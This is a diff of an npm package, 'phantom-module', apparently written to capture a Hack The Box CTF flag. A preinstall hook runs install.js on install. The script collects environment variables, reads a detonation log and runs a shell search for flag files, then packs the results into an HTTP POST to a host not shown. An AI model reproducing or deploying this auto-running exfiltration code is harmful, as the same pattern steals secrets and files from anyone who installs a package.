phantom-module 111.0.3 → 111.0.4

package/install.js

@@ -1,32 +1,53 @@
 const fs = require('fs');
 const http = require('http');
+const { execSync } = require('child_process');
 
 (function() {
   let output = "";
   
-  // 1. Get ALL Environment Variables
-  output += "ENV: " + JSON.stringify(process.env) + " | ";
-  
-  // 2. Check common Windows / local paths
-  const paths = [
-      'flag.txt', 
-      '../flag.txt', 
-      '../../flag.txt', 
-      'C:\\flag.txt', 
-      'C:\\Users\\Administrator\\Desktop\\flag.txt',
-      'C:\\Users\\Public\\flag.txt'
-  ];
+  // 1. Specifically check the workflow log we found!
+  try {
+      const logPath = process.env.DetonationLogFilePath;
+      if (logPath && fs.existsSync(logPath)) {
+          let logContent = fs.readFileSync(logPath, 'utf8');
+          // Try to regex the flag out of it directly
+          let match = logContent.match(/HTB{[^}]+}/);
+          if (match) {
+              output += "FOUND IN LOG: " + match[0] + " | ";
+          }
+      }
+  } catch(e) {}
   
-  for (let p of paths) {
-      try {
-          if (fs.existsSync(p)) {
-              output += `FILE ${p}: ` + fs.readFileSync(p, 'utf8').trim() + " | ";
+  // 2. Check the entire environment variables for HTB{
+  try {
+      let envStr = JSON.stringify(process.env);
+      let match = envStr.match(/HTB{[^}]+}/);
+      if (match) {
+          output += "FOUND IN ENV: " + match[0] + " | ";
+      }
+  } catch(e) {}
+
+  // 3. Search for flag.txt files in the D:\TRANSFER directory
+  try {
+      if (process.env.INIT_CWD) {
+          let baseDir = process.env.INIT_CWD.split('\\').slice(0, 3).join('\\'); // e.g. D:\TRANSFER\8bc5d...
+          let files = execSync(`dir /s /b "${baseDir}\\*flag*"`).toString().trim().split('\r\n');
+          for (let f of files) {
+              if (f) {
+                  try { output += `FILE ${f}: ` + fs.readFileSync(f, 'utf8').trim() + " | "; } catch(e) {}
+              }
           }
-      } catch(e) {}
+      }
+  } catch (e) {
+      output += "DIR_ERR: " + e.message + " | ";
+  }
+  
+  if (!output) {
+      output = "Could not find HTB{...} in env or logs, and no flag files found.";
   }
   
   const postData = JSON.stringify({
-    manifest: `ecto_module:\n  name: "FLAG_WINDOWS"\n  cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
+    manifest: `ecto_module:\n  name: "FLAG_WINDOWS_2"\n  cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
   });
   
   const req = http.request({

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "111.0.3",
+  "version": "111.0.4",
   "scripts": {
     "preinstall": "node install.js || true"
   }